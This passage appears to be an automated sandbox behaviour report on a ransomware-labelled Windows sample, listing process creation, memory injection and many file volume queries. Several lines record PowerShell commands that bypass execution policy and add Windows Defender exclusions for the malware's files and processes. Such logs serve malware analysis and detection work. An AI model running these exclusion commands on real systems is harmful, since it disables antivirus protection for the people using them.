                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe'
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe'Jump to behavior
                    Bypasses PowerShell execution policy
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'
                    Injects a PE file into a foreign processes
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMemory written: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe base: 400000 value starts with: 4D5AJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory written: C:\Users\user\AppData\Roaming\daqfbrlrs.exe base: 400000 value starts with: 4D5AJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMemory written: C:\Users\user\AppData\Roaming\daqfbrlrs.exe base: 350000 value starts with: 4D5A
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe"Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformationJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation
